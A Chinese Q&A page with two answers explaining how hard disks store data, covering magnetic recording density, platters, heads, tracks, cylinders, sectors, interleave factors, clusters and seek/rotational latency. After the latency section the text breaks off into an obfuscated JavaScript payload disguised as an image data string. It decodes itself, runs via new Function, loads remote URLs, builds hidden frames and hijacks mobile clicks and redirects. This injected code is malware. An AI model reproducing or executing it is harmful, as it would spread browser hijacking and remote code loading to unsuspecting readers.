推荐回答(2个)
一块小小的硬盘,储存的信息几乎可以相当于全世界图书馆的总和,是怎么做到的?
虽然硬盘在我们生活中已经随处可见,但他的储存方法和原理,却不是每人都了解的。
想象一架飞机以离地面1毫米的高度飞行,每25秒绕地球一圈,还能覆盖每一寸表面。
再将其缩小成手掌大小,你就会得到和现代硬盘差不多的东西,它所包含的信息比你们当地图书馆还要多。
那么它是如何在这么小的空间 储存这么多的信息呢?

在每个硬盘的中心都有 大量高速旋转的磁盘,每个磁盘的表面都有高速扫过的记录磁头。
每个磁盘上都覆盖着一层薄薄的、微小的、磁化金属粒,数据以一种肉眼无法分辨的形式存在。
很多组微小颗粒形成的磁化图案,记录形成了数据。
每一组,又称之为比特(bit),所有微粒都按照自身的磁性排列,形成两种状态之一,对应0或者1。
将比特信息通过电磁铁,转换成电流,数据就能被读写在硬盘上。
这块磁铁会产生一个强大磁场,足以改变金属微粒的磁性。
当信息写入磁盘,驱动使用磁读取器,将其还原成有意义的形式,类似于留声机针将唱片纹路转化成音乐。

但是你是怎么从0和1中 得到这么多信息的呢?
其实是将很多很多个0和1组合在一起。
例如,一个字节(byte), 即8比特可以代表一个字母,你平均每张相片有好几兆字节,每一兆字节相当于800万比特。
由于每一比特必须写在磁盘的实体表面上,所以我们总在寻求方法增加磁盘磁录密度,或者说是增加每平方厘米能塞下的比特数。
现代硬盘的磁录密度大约是 每平方厘米93千兆比特,是1957年IBM第一款硬盘的3亿倍。
储存容量的巨大提升,不仅仅是归因于将所有东西缩小,而是包含了许多项创新技术。
一种称之为薄膜光刻的技术,使得工程师们可以缩小读写器。
除了尺寸,利用物质磁性和量子特性上的新发现 可以让读取器变得更加敏感。
数学算法的出现可以让比特被更紧凑地排列在一起,能过滤电磁干扰产生的噪音,并且能从大量回读信息中找到最有可能的比特顺序。
磁头热膨胀的控制是通过在磁性记录器下面放上一个加热器,使其能悬于磁盘表面5纳米以内,这是大约是两条DNA链的宽度。

在过去的数十年,电脑储存容量及性能的大幅度增长遵循着一种模式,称为“摩尔定律”,这一定律于1975年预测 信息密度每两年会增长一倍。
但是若每平方厘米超过15.5千兆,继续缩小磁性颗粒, 或者将它们塞得更紧,则会导致“超顺磁效应”。
即当磁粒体积过小,它的磁性很容易受到热能干扰,导致比特的朝向发生混乱,从而引起数据丢失。
科学家们采用了一种 非常简单的方法解决了这个问题:
将磁记录方向由水平改为垂直,这使得磁录密度增加到接近每平方厘米0.155太(1000千兆)字节。
最近,通过热辅助磁记录技术,磁录密度又提升了。
这种技术采用了一种热稳定记录介质,通过在局部进行激光加热来短暂减小磁阻力,从而实现写入数据。
尽管这些驱动磁盘还处于原型阶段,科学家们已经又玩出了新花样:位元规则媒介。
比特对应的位置被安置于独立的 纳米大小的结构,潜在地实现了磁录密度 至每平方厘米3.1太字节,甚至更多。

多亏了一代又一代工程师,材料科学家,还有量子物理学家们的共同努力,这个拥有不可思议的能量, 无比精确的小工具才能在你手掌中旋转。
欢迎关注微信公众号infoVision,更多精彩科普动画等着你!
1、硬盘的外部物理结构
硬盘主要由盘体、控制电路板和接口部件组成。
盘体是一个密封的腔体。(后续将介绍硬盘的内部物理结构即是指盘体的内部结构)。
控制电路板上主要有硬盘BIOS、硬盘缓存(Cache)和主控制芯片等单元。硬盘接口
包括插座、数据接口和主、从跳线等。
2、硬盘的内部物理结构
硬盘盘体是完全密封的,里面主要有磁头、盘片等部件。
硬盘的盘片材料硬度和耐磨性要求很高,所以一般采用合金材料,多数为铝合金。
(早期有塑料,陶瓷的,现在也出现了玻璃材料的)。盘基上涂上磁性材料。硬盘盘片
厚一般在0.5mm左右,盘片的转速与盘片大小有关,考虑到惯性及盘片稳定性,盘片
越大转速越低。
有些硬盘只装一张盘片,有此则有多张。硬盘盘片安装在主轴电机的转轴上,在主
轴电机的带动下作高速旋转。每张盘片的容量称为单碟容量,而一块硬盘的总容量就是
所有盘片容量的总和。早期硬盘由于单碟容量低,所以盘片较多。现代的硬盘盘片一般
只有少数几片。一块硬盘内的所有盘片都是完全一样的,否则控制部分就太复杂了。
盘片上的记录密度很大,而且盘片工作时会高速旋转,为保证其工作的稳定,数据
保存的长久,所以硬片都是密封在硬盘内部的,内部并非真空。不可自行拆卸硬盘,
在普通环境下空气中的灰尘,都会对硬盘造成永久损害。
以上介绍的是盘片,一张单面的盘片需要一个磁头,双面的盘片则需要两个磁头。
硬盘采用高精度、轻型磁头驱动和定位系统。这种系统能使磁头在盘面上快速移动,读
写硬盘时,磁头依靠磁盘的高速旋转引起的空气动力效应悬浮在盘面上,与盘面的距离
不到1微米(约为头发直径的百分之一),可以在极短的时间内精确定位到计算机指令指定
的磁道上。
注意:由于磁盘是旋转的,则连续写入的数据是排列在一个圆周上的。我们称这样的
圆周为一个磁道(Track)。
由于定位系统限制,磁头臂只能在盘片的内外磁道之间移动。因此,不管开机还是关机,
磁头总在盘片上。所不同的是,关机时磁头停留在盘片启停区,开机时磁头“飞行”在磁盘
片上方。
3、硬盘存储的逻辑结构
我们常说硬盘有面,柱面,磁道和扇区,这些只不过是虚拟的逻辑概念。
面(盘面):
上面已经了解,硬盘一般会有一个或多个盘片,每个盘片可以有两个面(Side),依此可
称为0面,1面等。每个面对应一个磁头,用于读写数据。
磁道:
盘片在中心轴带动下做高速旋转,磁头连续写入的数据是排列在一个圆周上的。我们称
这样的圆周为一个磁道(Track)。可以假想有很多个同心圆,大小不同的磁道组成盘面。
每个盘片的每个面都有一个读写磁头。磁道离主轴最近的,即线速度最小的地方,是一
个特殊的区域,它不存放任何数据,称为启停区或着陆区(Landing Zone),启停区外就是数
据区。在最外圈,离主轴最远的地方是“0”磁道,硬盘数据的存放就是从最外圈开始的。
硬盘有一个“0”磁道检测器,由它来完成硬盘的初始定位。“0”磁道十分重要,很多硬盘仅
仅因为“0”磁道损坏就报废了,十分可惜。
磁头:
磁头用来读取或者修改盘片上磁性物质的状态,一般说来,每一个磁面都会有一个磁头,
从最上面起由0开始编号。磁头在停止工作时与磁盘是接触的停放在启停区,但是在工作
时呈飞行状态。启停区不存放任何数据,磁头在此区域启停,不会损害任何数据。读取数据
时盘片高速旋转,对磁头运动采用的空气动力学设计。此时磁头离盘面数据区0.2到0.5微米
高度进行飞行。这样既不与盘面接触,又能很好的读取数据。磁头之所以能够飞起来,完全
是靠空气的“浮力”。如果没有空气的话磁头将与磁盘直接接触,除非能生产出无磨檫的光滑
平面,否则在一瞬间就会使整个磁盘表面划伤。目前来看,绝对光滑的平面是不现实的。
柱面:
我们认为离圆心最远的磁道为0磁道,依此往里为1磁道....。不同面上相同磁道编号则组
成了一个圆柱面,即所称的柱面(Cylinder)。
每个柱面上的磁头由上而下从“0”开始编号。数据读写按柱面进行,即磁头读写数据时首
先在同一柱面内从“0”磁头开始进行操作,依次向下在同一柱面的不同盘面(即磁头上)进行操
作,只有在同一柱面所有的磁头全部读写完毕后磁头才转移到下一柱面,因为选取磁头只需
通过电子切换即可,而选取柱面则必须通过机械切换。电子切换比从在机械上磁头向邻近磁
道移动快得多。因此,数据的读写按柱面进行,而不按盘面进行。
读写数据都是按照这种方式进行,尽可能提高了硬盘读写效率。
当然现今硬盘多半只有一个盘片两个盘面。
扇区:
根据硬盘规格的不同,磁道数可以从几百到成千上万不等。一个磁道上可以容纳数KB
的数据,但计算机并不需要一次读写这么多数据。这这基础上,又把磁道划分成若干段,
每段称为一个扇区(Sector)。扇区是硬盘上存储的物理单位,包括512个字节的数据和一些
其他信息。即使计算机只需要硬盘上存储的某个字节,也须一次把这个字节所在的扇区中
的全部512字节读入内存,再选择所需的那个字节。
扇区数据主要有两个部分:存储数据的标识符和存储数据的数据段。
标识符包括组成扇区三维地址的三个数字:扇区所在的磁头(或盘面)、磁道(或柱面号)
以及扇区在磁道上位置(即扇区编号)。标识符还包括一个字段,显示扇区是否可以存储数
据或者已有故障不宜使用的标记。有些硬盘控制器在扇区标志符中还记录提示信息,可在
原扇区出错时指引磁盘转到对应替换扇区或磁道。最后,标识符以循环冗余校验(CRC)
值作为结束,以供控制器检验扇区标识符读出情况,确保准确无误。
扇区的第二个主要部分是存储数据的数据段,可分为数据和保护数据的纠错码(ECC)。
要注意硬盘在划分扇区时,和软盘是有一定区别的。软盘的一个磁道中,扇区号一般依次
编排,如挨着来是1号,2号,3号...以此类推。但在硬盘磁道中,扇区号是按照某个间隔跳跃
着编排。如,2号扇区并不是1号扇区后的按顺序的第一个而是第八个,3号扇区又是2号扇区
后的按顺序的第八个,依此类推,这个“八”称为交叉因子。
这个交叉因子的来历有必要详述一下,我们知道,数据读取经常需要按顺序读取一系列相
邻的扇区(逻辑数据相邻)。如对磁道扇区按物理顺序进行编号,很有可能出现当磁头读取完第
一个扇区后,由于盘片转速过快来不及读取下一个扇区,(要知道物理相邻扇区位置距离是极
小的),必须等待转完一圈,这极大浪费了时间。在N年前,就有工程师想到用交叉因子这个办
法来解决这个问题。一个特定硬盘驱动器的交叉因子取决于:磁盘控制器的速度、主板的时钟
速度、与控制器相连的输出总线的操作速度等。如果磁盘的交叉因子值太高,就需多花一些时
间等待数据在磁盘上存入和读出。而如果交叉因子值太低,就会大大降低磁盘性能。
早期的硬盘管理工作中,设置交叉因子需要用户自己完成。有时还需要设置几种不同的值来
比较其性能。现在的硬盘BIOS已经解决这个问题,一般低级格式化程序不再提供这一选项设置。
前面已经提及,系统在磁盘上写入读取数据时,写满一磁道后转向同一柱面的下一个磁头,当
柱面写满时,再转向下一柱面。这些转换都需要时间,而在此期间磁盘始终保持高速旋转,这就
会带来又一个问题。
假定系统刚刚结束对一个磁道最后一个扇区的写入,并且已经设置了最佳交叉因子值,现在准
备在下一磁道的第一个扇区写入,这时就要等到磁头部件重新准备定位并按径向方向到达下一磁
道。如果这个操作占用时间超过了一点点,尽管有交叉存取,磁头仍会延迟到达?饩稣飧鑫侍?
的办法是以原先磁道所在位置为基准,把新磁道(下一磁道)上全部扇区号移动约一个或几个扇区
位置,这就是磁头扭斜。磁头扭斜可以理解为柱面与柱面之间的交叉因子,硬盘出厂便设置好,
用户一般不用去改变它。磁头扭斜只在文件较长超过磁道结尾进行读出和写入时才发挥作用。所
以,扭斜设置不正确所带来的时间损失比交叉因子小得多。
簇:
我们上边已经了解扇区是实际物理单位,簇就是硬盘上存储文件的一个逻辑单位。物理相邻
的若干个扇区其实就组成了一个簇。操作系统读写磁盘的基本单位是扇区,而文件系统的基本
单位是簇(Cluster)。
在你的Windows下,随便找个几十字节的文件,右键属性,看看实际大小与占用空间两项内
容,如大小:15 字节 (15 字节) 占用空间:8.00 KB (8,192 字节)。这里的占用空间就是你机器
分区的簇大小,因为再小的文件都会占用空间,逻辑基本单位是8K,所以都会占用8K。
簇一般有这几类大小 4K,8K,16K,32K,64K等。
簇越大存储性能越好,但空间浪费严重。簇越小性能相对越低,但空间利用率高。
注意:这里引入一个概念文件系统,稍后的文章会详细说明。
4、硬盘读写数据的过程
硬盘读取数据时,读写磁头沿径向移动,移到要读取的扇区所在磁道的上方,这段时间
称为寻道时间(seek time)。因读写磁头的起始位置与目标位置之间的距离不同,寻道时间
也不同。目前硬盘一般为2到30毫秒,平均约为9毫秒。
磁头到达指定磁道后,然后通过盘片的旋转,使得要读取的扇区转到读写磁头的下方,
这段时间称为旋转延迟时间(rotational latency time)。一个7200(转/每分钟)的硬盘,每
旋转一周所需时间为60×1000÷7200=8.33毫秒,则平均旋转延迟时间为8.33÷2=4.17毫
秒(平均情况下,需要旋转半圈)。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();